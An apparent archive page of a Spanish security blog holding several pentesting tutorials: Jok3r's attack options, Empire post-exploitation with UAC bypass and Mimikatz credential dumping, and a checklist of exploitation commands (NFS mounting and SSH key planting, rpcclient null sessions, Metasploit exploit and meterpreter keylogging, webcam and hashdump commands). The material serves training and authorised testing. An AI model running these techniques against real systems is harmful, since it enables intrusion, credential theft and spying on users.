Archivo

Archive for the ‘MetaSploit’ Category

Herramientas de pentesting interesantes: Jok3r – Parte 2

septiembre 20, 2019 Deja un comentario

En el post anterior se ha comenzado a hablar de Jok3r y sus funcionalidades básicas, una herramienta que es interesante desde el punto de vista de un pentester dado que integra muchas de las herramientas de uso común en auditorías de red y web. En dicho post solamente se han mencionado los comandos básicos, el manejo de bases de datos locales y cómo instalar la herramienta utilizando la imagen oficial de Docker. Ahora, resulta conveniente ver cómo utilizar lo visto anteriormente para realizar verificaciones de seguridad sobre un entorno concreto.
El comando utilizado para realizar las verificaciones de seguridad incluidas en Jok3r es “attack” el cual recibe múltiples opciones que sirven para configurar los detalles del objetivo, añadir los resultados a una base de datos local concreta o incluso para realizar ataques a múltiples objetivos que se encuentran almacenados en alguna “mission” de Jok3r. En la configuración del ataque es posible utilizar un perfil existente en Jok3r, que tal como se ha visto en el post anterior a este, se pueden consultar con el comando “info” de la siguiente forma:

python3 jok3r.py info –attack-profiles

Opciones en el comando “attack”

A continuación se verá una lista de las opciones disponibles para el comando “attack”, las cuales hay que conocer para poder lanzar las pruebas correctamente.

Opción Descripción
-t / –target Permite especificar el objetivo del ataque. Puede ser una IP:Puerto, un nombre de dominio o una URL.
-s / –service Permite especificar un servicio concreto a auditar.
–add2db Permite añadir o actualizar los resultados obtenidos por el comando en la “mission” (base de datos local) especificada. Si no se utiliza esta opción, los resultados son añadidos/actualizados directamente en la mission “default”.
-m / –mission Permite leer una mission local y lanzar los checks de seguridad contra todos los objetivos registrados en dicha mission.
-f / –filter Filtro sobre los objetivos a los que se deben ejecutar las pruebas de seguridad. Normalmente viene acompañada de la opción “-m”. Los filtros disponibles son ip, host, port, service, url, osfamily y banner. Además, cada filtro debe venir separado por “;” y la sintaxis es “filtro=valor”. Por ejemplo:
“ip=10.1.1.0/24,10.0.0.4;port=80,8000-8100;service=http”. También es posible repetir esta opción varias veces en el mismo comando.
–new-only Realiza las pruebas de seguridad únicamente sobre los servicios que no han sido probados previamente.
–nmap-banner-grab Habilita o deshabilita un escaneo con Nmap del tipo “service detection”. Valores validos “on” y “off”
–reverse-dns Habilita o deshabilita las peticiones DNS reversas contra el objetivo. Valores validos “on” y “off”
–profile Permite ejecutar un perfil de ataque concreto.
–cat-only Permite ejecutar las pruebas de seguridad sobre las categorías especificadas únicamente. Cada categoría se indica separada por coma.
–cat-exclude Permite ejecutar las pruebas de seguridad sobre todas las categorías excepto sobre las especificadas en esta opción. Cada categoría se indica separada por coma.
–checks Permite ejecutar los checks especificados en esta opción. Cada check se indica separado por coma.
–fast Modo rápido. Desactiva la interacción con el usuario y todas las verificaciones se ejecutan en modo desatendido.
–recheck Si un check se ha ejecutado previamente, se vuelve a lanzar. Esto es útil especialmente cuando se utiliza una mission sobre la que se ha trabajado previamente e interesa que se vuelvan a realizar todas las comprobaciones.
-d Habilita el modo “debug”.
–userlist En el caso de encontrar un formulario o mecanismo de autenticación, la herramienta ejecuta un atacante por diccionario con listas que vienen incluidas en la herramienta. Con esta opción se utiliza una lista de usuarios indicada por el usuario
–passlist Con esta opción se utiliza una lista de contraseñas indicada por el usuario
–cred En el caso de que se cuente con las credenciales de un servicio concreto, en lugar de permitir que la herramienta ejecute un ataque de fuerza bruta se pueden indicar dichas credenciales en esta opción de la siguiente forma: –cred <service> <user> <pass>
–user Permite especificar un usuario concreto con el que se deberán realizar los ataques de fuerza bruta en el caso de encontrar un formulario o mecanismo de autenticación.
–option Permite especificar una opción personalizada, por ejemplo una cabecera HTTP concreta para realizar las peticiones contra un sitio web.

Conociendo las opciones, ya se puede utilizar el comando “attack” sin limitaciones. Evidentemente la forma más simple de hacerlo es contra un objetivo concreto y lanzando todas las comprobaciones. Por ejemplo:

python3 jok3r attack -t http://192.168.1.50/twiki/

La herramienta intenta obtener información sobre el servidor web utilizando “Wappalyzer” y también ejecuta un escaneo del tipo “service detection” para identificar el banner del servicio con Nmap. Al no indicar la opción “–add2db” todos los resultados serán guardados en la mission “default”.

Después de recopilar toda la información, la herramienta solicita confirmación para iniciar el ataque. Las comprobaciones pueden tardar un buen rato y en segundo plano, la herramienta se encargará de almacenar los resultados en la mission correspondiente. No obstante, dado que no se ha indicado la opción “–fast”, la herramienta pedirá confirmación antes de lanzar cualquier prueba, lo cual puede ser bastante tedioso tal como se enseña en la siguiente imagen.

El siguiente comando se encargará de lanzar todas las comprobaciones, en modo “fast” y añadiendo los resultados a la mission “adastra”.

python3 jok3r.py attack –fast -t http://192.168.1.50/twiki/

En la medida en la que se van ejecutando las pruebas, se puede apreciar la ejecución de herramientas comunes como “dirsearch”, “wig”, “nikto”, “h2t”, módulos de metasploit y scripts para la detección de vulnerabilidades en CMS, servidores de aplicación y frameworks concretos, aunque evidentemente muchas de estás comprobaciones estarán fuera de contexto dependiendo del objetivo a analizar.

Se pueden combinar todas las opciones indicadas en la tabla anterior, permitiendo ejecutar la herramienta de un modo más concreto contra el objetivo a analizar, por ejemplo.

 

#python3 jok3r.py attack -t 192.168.1.50:21 -s ftp –cat-only recon –add2db ftpmission
#python3 jok3r.py attack -m adastra -f “port=21;service=ftp” –fast #python3 #python3 jok3r.py attack -m adastra -f “port=2222;service=ssh;ip=192.168.1.1” -f “ip=192.168.1.50;service=ftp” –fast –recheck

Finalmente, cuando finalizan las comprobaciones de seguridad realizadas por la herramienta, todos los resultados se quedan almacenados en la base de datos local y a continuación se puede generar un reporte con la opción “report” del comando “db” tal como se enseña en la siguiente imagen.

Una vez se abre el reporte, se muestra cada una de las herramientas y pruebas realizadas para los hosts que se encuentran almacenados en la “mission” seleccionada. Se trata de un informe en formato HTML que está muy bien estructurado y que da una visión general de las vulnerabilidades descubiertas y la ejecución de las herramientas incluidas en el toolbox.

Bien, esto es todo sobre Jok3r, en el próximo post de esta serie hablaré sobre otra herramienta para pentesting que seguramente te resultará también muy interesante.

Un saludo y Happy Hack
Adastra.

Herramientas de pentesting interesantes: Jok3r – Parte 1

septiembre 4, 2019 Deja un comentario

Desde hace bastante tiempo he querido escribir ésta serie de artículos pero por cuestiones de tiempo no había podido. Últimamente han ido apareciendo bastantes herramientas enfocadas al pentesting/hacking para diferentes contextos, algunas de ellas realmente interesantes y que merece la pena mencionar en este blog. Es importante automatizar todo el trabajo posible para soportar el procedimiento de descubrimiento, detección y posterior explotación de vulnerabilidades, incluyendo otras actividades que en ocasiones se deben realizar directa o indirectamente como ataques de Phishing, aplicación de técnicas OSINT, traceo y seguimiento de usuarios, análisis de tráfico, desarrollo de software, etc. No obstante, como siempre he dicho, ninguna herramienta o conjunto de ellas puede sustituir el trabajo y la metodología que aplica un pentester/hacker a la hora de lanzar un plan de ataque contra un objetivo, aunque las herramientas permiten recopilar información y en algunos casos, directamente explotar vulnerabilidades, lo más común es encontrarnos entornos en donde hay unas medidas de seguridad que ya tienen en cuenta las cosas más obvias, como actualizaciones y medidas de seguridad entre otras cosas. Dicho esto, no hay que olvidar nunca que como en prácticamente cualquier trabajo relacionado con tecnología, es necesario ser muy metódico, ordenado y limpio a la hora de realizar pruebas de penetración y esto es algo que no lo aprendes lanzando todo lo que viene en Kali Linux, lo aprendes con la experiencia y conociendo exactamente qué hacen por debajo las herramientas que utilizas en tu día a día para que no te conviertas en un “Nessus con patas” que solo lanza scripts y si no reportan nada es que todo está bien. Dicho esto, comenzaré a explicar algunas herramientas libres que me ido encontrando y que de alguna manera me han venido bien para trabajos que he realizado para algunos de mis clientes.

Jok3r: https://github.com/koutto/jok3r

Se trata de una herramienta particularmente interesante ya que no “reinventa la rueda” sino que en lugar de eso, reutiliza y combina un buen conjunto de herramientas de pentesting comunes para extraer la mayor cantidad de información de manera conjunta, sin tener que estar ejecutando cada una de forma independiente. Cuando se instala Jok3r el proceso puede tardar unos minutos ya que intenta instalar todas las dependencias y librerías necesarias por los proyectos que intenta combinar. También es posible instalar Jok3r desde su imagen oficial de Docker, una forma cómoda y rápida de tener la herramienta preparada para su uso.

Tal como se indica en el “README” del proyecto, cuenta con algunas características que la convierten en una herramienta muy interesante:

* Integración con más de 50 herramientas de pentesting comunes.

* Configuración sencilla, es posible eliminar o añadir herramientas con un simple fichero de configuración.

* Soporte a múltiples servicios de red basados en TCP y UDP, tales como HTTP, SSH, FTP, DNS, VNC, PostgreSQL, MySQL, etc.

* Se encarga de verificar el objetivo y seleccionar de forma automática las herramientas que puedan arrojar mejores resultados de acuerdo al contexto. Por ejemplo, en el caso de una aplicación web habilitará las herramientas relacionadas con pentesting en entornos web.

* Es capaz de detectar versiones y banners de productos específicos, para posteriormente compararlos con bases de datos CVE online, concretamente tirando de CVE Details y Vulners.

* Es capaz de realizar la explotación automática de algunas vulnerabilidades.

* Es capaz de realizar comprobaciones en CMS para detectar complementos o vulnerabilidades conocidas en Joomla, Drupal, WordPress, entre otros.

* Todos los resultados encontrados por la herramienta se van almacenando localmente en una base de datos y cuenta con algunas funcionalidades de reporting y gestión de resultados de forma independiente para cada auditoría realizada.

Bien, una vez visto el potencial de la herramienta lo siguiente es instalarla y usarla. Tal como se indica en las instrucciones de instalación del proyecto, la forma recomendada de hacerlo es utilizando la imagen Docker oficial, de esta forma no será necesario instalar dependencias directamente en el sistema host (son unas cuantas). No obstante, también se puede instalar directamente desde código fuente fácilmente, ya que cuenta con un script de instalación llamado “install_all.sh” que se encarga de dejarlo todo preparado para que sea posible utilizar la herramienta sin mayores dificultades. Basta simplemente con descargar la imagen y crear un nuevo contenedor, de la siguiente manera:

#sudo docker pull koutto/jok3r

#sudo docker run -i -t --name jok3r-container -w /home/adastra/jok3r -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix --shm-size 2g --net=host koutto/jok3r

Las opciones “-w”, “-e”, “-v” y “–shm-size” son utilizadas para evitar problemas de memoria en el contenedor, así como para utilizar herramientas con una GUI como por ejemplo un navegador web. Con “–net” en Docker se especifica el modo de red, en este caso es compartido con el fin de que tanto anfitrión como contenedor se puedan ver y sea posible crear conexiones reversas.

Luego, para poder detener y volver a levantar el contenedor, se puede utilizar el comando “sudo docker start -i jok3r-container”

Una vez levantado el contenedor, es necesario dirigirse a la ruta “~/jok3r” que es donde se encuentra el script “jok3r.py”. Para ver las herramientas que se encuentran instaladas se debe ejecutar el comando:

#python3 jok3r.py toolbox --show-all

En el caso de la imagen Docker, se podrá ver que están todas las herramientas instaladas, luego para la gestión de las mismas, se pueden ejecutar los siguientes comandos:

Instalar todas las herramientas disponibles (algo que ya viene en la imagen de Docker).
#python3 jok3r.py toolbox --install-all --fast

Actualizar todas las herramientas sin realizar preguntas, todo sí y adelante. 
#python3 jok3r.py toolbox --update-all --fast
Desinstalar todas las herramientas.
#python3 jok3r.py toolbox --uninstall-all --fast
Desinstalar una herramienta concreta.
#python3 jok3r.py toolbox --uninstall-tool nombre_herramienta
Desinstalar un servicio concreto y las herramientas asociadas.
#python3 jok3r.py toolbox --uninstall nombre_servicio

Además del comando “toolbox” existen otros que permiten realizar verificaciones, ataques y ver el estado de la base de datos local.

Comando de información para los perfiles, servicios y productos.

El comando “info” permite ver qué perfiles se encuentran habilitados en la herramienta, las pruebas de seguridad que se aplican sobre cada protocolo soportado e información de los productos de software que se encuentran registrados en la herramienta. Tal como se ha visto antes con el comando “toolbox” hay una serie de opciones que permiten interactuar con éste comando.

Como se puede apreciar, el comando “info” soporta algunas opciones simples que permiten ver qué cosas puede hacer jok3r contra un objetivo determinado y otros detalles informativos que pueden ser útiles. Se puede ejecutar la herramienta de la siguiente manera.

#python3 jok3r.py info –services

Enseña una tabla con los servicios, puertos por defecto de cada servicio, herramientas asociadas y número de checks que realizará Jok3r sobre dicho servicio.

#python3 jok3r.py info --checks <servicio>

Enseña una tabla con el nombre de cada una de las comprobaciones disponibles para el servicio indicado, así como la categoría del chequeo y la herramienta empleada para ejecutarlo.

#python3 jok3r.py info –products

Enseña una lista de servicios disponibles y los diferentes tipos de productos que implementa dicho servicio, por ejemplo, para un servidor web, el producto puede ser Apache, Nginx, IIS, etc.

#python3 jok3r.py info –attack-profiles

Enseña una tabla con los perfiles de ataque disponibles, los cuales simplemente se encargan de agrupar varios checks y herramientas en un contexto concreto, por ejemplo para realizar comprobaciones sobre un CMS.

Base de datos local en Jok3r.

Antes de realizar cualquier tipo de auditoría de seguridad, en Jok3r se almacena todo en diferentes espacios de trabajo, de tal manera que cada auditoría y sus resultados correspondientes, se encuentran almacenados de forma persistente en contextos separados, esto es similar a lo que hay en Metasploit Framework cuando se utiliza el comando “workspace” desde msfconsole. El comando “db” es el encargado de definir misiones, las cuales son simplemente el contexto de una auditoría y partiendo de dichas misiones ejecutar pruebas de seguridad contra los objetivos indicados, los resultados quedarán almacenados en dicha misión.

Para crear una misión basta con ejecutar el comando “mission” tal como se aprecia en la imagen anterior.

Tal como se puede apreciar, el comando “mission” sirve para gestionar las misiones en Jok3r y además, al crear una nueva misión automáticamente cambia el contexto y ubica al usuario en la misión que se acaba de crear. Para moverse entre las diferentes misiones previamente creadas, se ejecuta el comando “mission <nombre>” y la herramienta se encargará de cambiar el contexto y apuntar a la misión indicada.

De momento esto es suficiente para ver las funcionalidades básicas de la herramienta, en el siguiente post se profundizará en su uso a la hora de ejecutar pruebas para auditorías de seguridad.

Un saludo y Happy Hack

Adastra.

Uso de Empire Framework contra sistemas Windows.

septiembre 2, 2019 1 comentario

Empire es un framework muy interesante que incluye varios elementos de post-explotación enfocados a sistemas windows utilizando PowerShell, así como sobre sistemas GNU/Linux comprometidos utilizando Python. Cada uno de dichos elementos en Empire cuentan con varios mecanismos interesantes para la transferencia y ejecución de “stagers” en la máquina comprometida, siguiendo un modelo muy similar al que sigue Metasploit Framework a la hora de generar sesiones. Las comunicaciones entre el atacante y víctima son cifradas, algo que también comparte Metasploit Framework a la hora de utilizar payloads del tipo “meterpreter” y además, permite ejecutar instrucciones en PowerShell sobre un sistema windows aunque en dicho sistema no tenga el ejecutable “powershell.exe”. Los módulos de post-explotación incluidos en Empire son fáciles de desplegar y de utilizar, algunos de los cuales permiten la ejecución de keyloggers para el “espiar” las actividades del usuario, nuevamente algo muy parecido a lo que nos encontramos en los payloads del tipo meterpreter de Metasploit Framework . Empire también tiene la capacidad de ejecutar comandos en memoria, lo que significa que al no ser instrucciones que requieren acceso a unidades de almacenamiento persistente, tienen mayores probabilidades de no ser detectadas por AVs u otros mecanismos de seguridad que puedan estar en ejecución en el sistema comprometido.

Empire Framework asiste al pentester en las labores de elevación de privilegios, reconocimiento de red y de sistemas alcanzables, movimientos laterales entre hosts (pivoting) y la recolección de credenciales o cualquier detalle informativo que pueda resultar interesante. Empire consigue éste objetivo partiendo de 3 componentes principales: Listeners, Stagers y Agents.

– Listeners: Proceso en la máquina del atacante y que espera conexiones por parte de las víctimas.

– Stager: Instrucciones que envía el atacante a la víctima.

– Agents: Se trata del componente que mantiene la conexión entre la víctima y el atacante desde el sistema comprometido. Es el encargado de recibir cada stager enviado por el atacante y ejecutarlo.

Instalación de Empire

Hay 2 formas de instalar Empire, la más “clásica” consiste clonar el repositorio del proyecto, el cual se encuentra ubicado en: https://github.com/EmpireProject/Empire

git clone https://github.com/EmpireProject/Empire.git

sudo ./setup/install.sh

sudo ./empire

Durante el proceso de instalación, se solicitará establecer una contraseña que será utilizada posteriormente entre el agente y listener.

La otra alternativa consiste en utilizar la imagen de Docker que se encuentra preparada para dicho propósito.

docker pull empireproject/empire

Una vez instalada la herramienta, basta simplemente con ejecutar el comando “./empire” y comenzará el proceso de carga de listeners, módulos, stagers y todo el entorno del framework.

Empire cuenta con un interprete de comandos para utilizar las funcionalidades principales de la herramienta. Como se puede apreciar en la imagen anterior, al iniciar Empire se enseña el número total de módulos cargados, número de listeners que se encuentran activos y los agentes en ejecución en alguna máquina remota.

Los comandos básicos se pueden apreciar rápidamente ejecutando el comando “help”, no obstante los más importantes inicialmente son aquellos que permiten interactuar con los diferentes elementos del framework, especialmente los listeners y módulos. Para enseñar los Listeners que se encuentran actualmente activos, basta simplemente con ejecutar el comando “listeners” y para utilizar alguno de los  disponibles en el framework, ejecutar el comando “uselistener”. El interprete de Empire permite auto-completar con la tecla “tab” lo cual resulta extremadamente útil y práctico a la hora de interactuar con los elementos de la herramienta.

Una vez seleccionado uno de los listeners disponibles, es posible ejecutar el comando “info” para obtener información de las opciones de dicho listener y a continuación, cada una se puede establecer con el comando “set option value”.

Una vez iniciado el listener es el momento de seleccionar un stager existente con el comando “usestager stager”. Por ejemplo “usestager windows/launcher_bat”. Posteriormente se deben definir sus propiedades, del mismo modo que se ha explicado antes para los Listeners, en éste caso concreto, siempre será necesario establecer la propiedad “Listener” con el nombre del listener que se ha iniciado en el paso anterior, el comando a ejecutar es “set Listener nombre-listener”.

Si se ha utilizado el stager “windows/launcher_bat”, una vez el fichero “.bat” sea transmitido y ejecutado sobre el sistema Windows comprometido, se podrá obtener una conexión reversa en Empire y se podrá ver que en la consola aparece un nuevo agente habilitado.

Un agente es como una sesión en Metasploit Framework, lo que significa que el siguiente paso consiste en interactuar con él para llevar a cabo el proceso de post-explotación. Hay que tener en cuenta que Empire no es un framework de explotación como sí lo es Metasploit Framework, con lo cual el proceso de iniciar una conexión reversa tras ejecutar un agente en un sistema remoto tiene que llevarse a cabo después de que el sistema haya sido comprometido y sea posible ejecutar instrucciones sobre él, en el caso de la figura anterior, por ejemplo, ha sido la ejecución de un fichero “.bat”. Una alternativa en el proceso de explotación podría consistir en utilizar técnicas de ingeniería social y “forzar” de alguna manera a un usuario del sistema objetivo a ejecutar el fichero .bat que se ha generado desde Empire u otra podría ser la explotación de alguna vulnerabilidad en el sistema objetivo, subir el .bat y ejecutarlo.

Para interactuar con un agente se debe utilizar el comando “interact”, tal como se puede apreciar en la siguiente imagen.

Existen varios módulos disponibles en Empire que se encuentran en el contexto de cada uno de los agentes disponibles, dichos módulos se centran en la extracción de información y en la elevación de privilegios. Uno de los elementos más interesantes para conseguir el propósito de elevar privilegios sobre un sistema windows es “PowerUp” el cual contiene múltiples módulos para identificar y explotar servicios vulnerables, registros del sistema y cualquier oportunidad de elevar privilegios. Todos los módulos de PowerUp se encuentran incluidos en “privesc/powerup/*” y uno de los más útiles es precisamente “powershell/privesc/powerup/allchecks” ya que realiza todas las pruebas de PowerUp contra el sistema.

ByPass UAC con Empire

Como seguramente el lector ya sabe, el mecanismo UAC (User Account Control) se ha implementado a partir de Windows Vista y se caracteriza por contar con 3 niveles de integridad que separan los permisos que tienen los usuarios del sistema sobre los recursos: Alto, Medio y Bajo. La mayoría de aplicaciones y servicios que ejecuta un usuario se encuentran en el nivel medio, en donde se incluyen los privilegios estándar para el acceso a recursos comunes, pero evidentemente no es posible ejecutar actividades administrativas para las que es requerido estar en el nivel “alto”. En los últimos años han surgido varias técnicas de “ByPass UAC” que permiten escapar del nivel “Medio” y moverse directamente al nivel “Alto” de UAC. Dichas técnicas incluyen, entre otras cosas, la inyección de librerías dinámicas que intenten realizar el proceso de elevación o la ejecución del programa “wscript.exe” / “cscript.exe” con un fichero manifest malicioso ubicado en C:\Windows para lanzar instrucciones con un nivel de integridad UAC alto. Estas técnicas se encuentran disponibles en Metasploit Framework con sus correspondientes módulos de Post-Exploitation como en Empire por medio del comando “bypassuac” disponible en cada uno de los agentes del framework.

Como se puede apreciar en la figura anterior, se ha lanzado el módulo “bypassuac” directamente en el contexto del agente, el cual no tiene privilegios administrativos sobre el sistema. Dicho módulo recibe como argumento el nombre de un listener en ejecución, en éste caso se puede utilizar el mismo listener que se ha iniciado anteriormente a la hora de obtener una conexión reversa con el agente. Hay que tener en cuenta que todos los módulos en Empire se ejecutan en segundo plano, por lo tanto es posible seguir interactuando con la herramienta y en la medida de que los módulos lanzados van recuperando información o generando algún tipo de traza, van apareciendo en la consola, lo que a veces puede confundir un poco. En la imagen anterior se puede ver que tras la ejecución del módulo “bypassuac” se ha generado un nuevo agente, el cual, al listarlo en la herramienta, aparece con un “*” en la columna de “Username” lo que significa que dicho usuario puede ejecutar comandos como administrador.

Mimikatz con Empire

Mimikatz (o Kiwi) es una herramienta muy conocida en el mundo de la post-explotación en sistemas Windows, permite extraer información sensible de la memoria del sistema concretamente detalles relacionados con cuentas de usuarios y credenciales. Se trata de una herramienta que se encuentra disponible en Metasploit Framework en forma de módulo externo, sin embargo en el caso de Empire también se encuentra disponible entre los módulos disponibles para cada uno de los agentes. Para poder usar el módulo “mimikatz” en Empire, es necesario tener privilegios administrativos, por lo tanto es necesario tener un agente con permisos elevados, ya sea un usuario administrador o que el proceso del agente se encuentre en el nivel “Alto” de UAC, esto es importante para que Mimikatz pueda leer registros e información en la memoria del sistema operativo, sino se cumple con este requisito la herramienta no puede extraer prácticamente nada de la memoria.

Como se puede apreciar en la imagen anterior, Mimikatz ha sido capaz de extraer información interesante del sistema, incluyendo nombres de usuarios y contraseñas en texto plano.

Empire es una alternativa interesante que es fácil de utilizar, flexible y a día de hoy funciona bastante bien. Si el lector se encuentra interesado en temas de post-explotación de sistemas y busca participar en algún proyecto basado en Python para mejorar sus habilidades, probablemente Empire será una muy buena opción.

Un saludo y Happy Hack.

Adastra.

Actividades básicas a desempeñar en un proceso de explotación y post-explotación.

septiembre 8, 2018 Deja un comentario

Cuando se realiza una auditoría de seguridad contra un sistema, normalmente no se sabe exactamente qué nos encontraremos. Es posible que el sistema en cuestión tenga varias vulnerabilidades que son explotables remotamente, pero debido a una falta de rigor en el proceso de recolección de información, dichos fallos pasen desapercibidos. Es por este motivo que resulta tan importante centrar la mayor parte del tiempo en obtener tanta información como sea posible del objetivo y de esta manera, tener un entendimiento o una imagen global sobre cómo funciona dicho sistema y las cuestiones más relevantes de su configuración, detalles sobre su construcción y relaciones que pueda tener con otros sistemas del entorno. Evidentemente cada auditoría es distinta y depende del alcance acordado con el cliente, en algunos casos se trata simplemente de verificar la seguridad de una aplicación concreta, mientras que en otros casos es necesario realizar pruebas de penetración contra un segmento de red completo. Aunque se trata de escenarios distintos, la metodología que se debe seguir sigue siendo la misma, comenzando por proceso detallado de recolección de información y pruebas sobre los posibles puntos de entrada.

En esta entrada simplemente se procederá a mencionar algunas de las pruebas básicas que un pentester suele desempeñar en una auditoría de seguridad en las etapas de explotación y post-explotación. Sin ser una lista demasiado completa, da una visión general a modo de “checklist” de las cosas que normalmente se suelen analizar en este tipo de trabajos.

Recolección de información.

Enumeración.

  • Uso de los resultados obtenidos en las fases anteriores para detectar posibles puntos de entrada y componer vectores de ataque.
  • Enfocar esfuerzos en los servicios que se encuentran funcionando en el objetivo.
  • Ganar acceso y aplicar las medidas necesarias para garantizar accesos futuros.
  • No limitarse a una única vía de acceso. Encontrar todas las vulnerabilidades y brechas.
  • Uso de herramientas:
    • Metasploit Framework
    • Nmap, Hping3, Queso, etc.
    • Netcat/Socat
    • Traceroute/wireshark/tcpdump
  • Fingerprinting a servicios comunes:
    • DNS: nslookup, dig, axfr, fierce2, Metasploit Framework.
    • FTP: Metasploit Framework, Nmap, Cliente de FTP, Wireshark, tcpdump.
    • HTTP: Burp, ZAP Proxy, httprint, PostMan, WGET/cURL, DirBuster, etc.
    • IMAP, POP, SMTP: Metasploit Framework, scripts especificos para cada producto.
    • SNMP: onesixtyone, braa, snmpenum, etc.
  • Otros servicios.
    • Bases de datos: PostgreSQL, MySQL, SQL Server, Oracle.
    • Servicios para compartir recursos en red: SMB/Samba
    • Telnet/SSH
    • RDP (Remote Desktop Protocol), VNC.
    • Kerberos.
    • LDAP.

Detección y explotación de vulnerabilidades.

  • Password Guessing – Ataques con diccionario.
    • Servicios de acceso remoto como FTP, Telnet, SMTP, SSH o incluso HTTP, implementan mecanismos de autenticación basados en usuarios y contraseñas.
    • En algunas ocasiones, dichos servicios pueden tener cuentas con credenciales por defecto.
    • El servicio puede ser resistente a un ataque directo, pero si los usuarios no utilizan contraseñas fuertes, es un servicio potencialmente explotable.
    • THC Hydra, Cain & Abel, Crowbar, lsadump2, crunch
  • Password Guessing y Vulnerabilidades en FTP.
    • Múltiples implementaciones vulnerables.
    • Verificar la versión del servicio FTP en ejecución en el objetivo y verificar si existen vulnerabilidades sobre dicha implementación.
    • Verificar si se permite la autenticación anónima y en tal caso, verificar los permisos asignados y los ficheros/directorios a los que se puede acceder.
    • Una búsqueda rápida en shodan.io puede arrojar algunos objetivos potenciales.
  • Vulnerabilidades en SMB/SAMBA.
    • Las principales implementaciones de este protocolo han reportado serias vulnerabilidades a lo largo de su historia, tanto en Windows como en Linux.
    • Las principales implementaciones de este protocolo han reportado serias vulnerabilidades a lo largo de su historia, tanto en Windows como en Linux.
    • Buscar usuarios en el sistema: RPCClient. Suponiendo que el servicio admita sesiones SMB Nulas.
      • rpcclient -U “” SMBSERVER
    • Múltiples módulos en Metasploit Framework:
      • auxiliary/scanner/smb/smb_enumusers_domain
      • auxiliary/scanner/smb/smb_enumshares
      • auxiliary/scanner/smb/smb_login
      • exploit/multi/samba/usermap_script
  • Password Guessing – Vulnerabilidades en HTTP
    • Servidores web mal configurados o con versiones vulnerables.
    • Amplios vectores de ataque posibles, no solamente sobre la infraestructura del servidor web, sino también sobre las aplicaciones web instaladas.
    • Uno de los servicios más explotados por los atacantes en Internet.
    • Múltiples herramientas. Burp Proxy, Metasploit Framework, Nikto, W3AF, Wapiti, sqlmap, etc.
  • Vulnerabilidades en SSH/SFTP/NSF
    • Password guessing + SSH Root Access = Ataque completo aunque poco probable.
    • Servicios “r” mal configurados podrían suministrar una vía de acceso (rlogin, rexec, rshell). Se encuentran disponibles por defecto en los puertos 512, 513 y 514.
    • Comandos útiles para verificar sistema de archivos compartido con NFS:
      • rlogin -l root <target>
      • rpcinfo -p <target>
      • showmount -e <target>
    • Generar clave SSH desde el equipo del atacante e intentar importar dicha clave en la víctima. (necesario instalar nfs-common).
      • mount -t nfs <target>:/ /dir/attacker
      • cat /dir/attacker/.ssh/authorized_keys
      • umount /dir/attacker.
      • grep -lr <key>
      • ssh -i <key> user@target
    • Uso de versiones vulnerables.
      • Debian OpenSSL Predictable PRNG. Verificar (también poco probable, pero…):

http://itsecurity.net/

https://github.com/galkan/crowbar

https://www.exploit-db.com/exploits/5720/

https://web.archive.org/web/20110723091928/

http://digitaloffense.net/tools/debian-openssl/

Detección y explotación de vulnerabilidades.

  • Una vez se gana acceso al sistema, el principal objetivo del atacante será obtener información sobre la víctima y obtener un control total sobre el sistema comprometido.
  • Es necesario ejecutar una búsqueda completa en el sistema para encontrar cualquier tipo de información que pueda resultar útil para el atacante.
  • Normalmente, el sistema comprometido tendrá fuertes limitaciones en términos de herramientas y utilidades para realizar el proceso de post- explotación.
  • Objetivos:
    • Elevación de privilegios y control total del sistema.
    • Evasión de mecanismos de seguridad (firewalls, AVS, IDS, IPS, etc.)
    • Filtración de información.
    • Establecimiento de puertas traseras.
    • Uso del sistema comprometido como pivote para atacar otros sistemas del segmento de red interno.
    • Espionaje y vigilancia de los usuarios del sistema (keyloggers, scrapers, capturas de pantalla, etc.)
  • Recolección de información en Post-Explotación:
    • Listado de los usuarios disponibles en el sistema.
    • Listado de interfaces de red.
    • Listado de procesos en ejecución.
    • Listado de grupos, roles y permisos.
    • Listado de tareas programadas.
    • Listado de dispositivos conectados en el sistema.
    • Listado de herramientas disponibles. (lenguajes de programación, librerías, interpretes, etc).
    • Búsqueda de ficheros con SUID habilitado (Linux).
    • Listado de bases de datos y aplicaciones con configuraciones por defecto.
  • Módulos para recolección de información con Metasploit Framework: Partiendo de una sesión Meterpreter es posible ejecutar múltiples scripts que permiten llevar a cabo muy fácilmente procesos de postexplotación sobre sistemas GNU/Linux, por ejemplo.
    • post/linux/gather/checkvm
    • post/linux/gather/enum_configs
    • post/linux/gather/enum_network
    • post/linux/gather/enum_protections
    • post/linux/gather/enum_system
    • post/linux/gather/enum_users_history
    • post/linux/gather/enum_system
  • Extracción de información y establecimiento de puertas traseras con Metasploit Framework: Partiendo de una sesión Meterpreter también es posible ejecutar comandos que permitan la extracción de información.
    • Sysinfo
    • netstat
    • load sniffer ; sniffer_*
    • get_local_subnets
    • webcam_*
    • keyscan_*
    • hashdump

Como he mencionado al comienzo de este artículo, se trata simplemente de una lista básica que puede ser útil para tener en cuenta las pruebas que se pueden/deben realizar en una auditoría de seguridad contra un sistema dado. No es una lista extensa ni mucho menos, pero es un buen punto de partida, especialmente para aquellos auditores menos experimentados que comienzan a realizar pruebas de seguridad.

Finalmente comentaros que las cosas que se mencionan en este artículo de una forma un tanto superficial, serán vistas en detalle (entre muchas otras cuestiones interesantes) en las próximas formaciones que se llevarán a cabo en Securízame sobre Hacking ético. Concretamente, tenemos una cita el fin de semana del 28 de septiembre con la primera formación del semestre sobre Hacking web y Hacking en sistemas nivel básico/intermedio: https://cursos.securizame.com/courses/curso-presencial-de-pentesting-1-hacking-web-hacking-sistemas-basico/

Luego, el fin de semana del 26 de noviembre tendremos la continuación con el curso avanzado y finalmente, el fin de semana del 23 de noviembre tendremos el entrenamiento práctico con un buen conjunto de máquinas vulnerables que podréis romper.

Lo dicho, espero que esta pequeña lista os sirva en vuestro trabajo y además, espero veros en Securízame en las próximas formaciones que llevaremos a cabo.

Un saludo y Happy Hack!
Adastra.

Cómo inyectar malware en una aplicación Android legítima.

mayo 22, 2017 4 comentarios

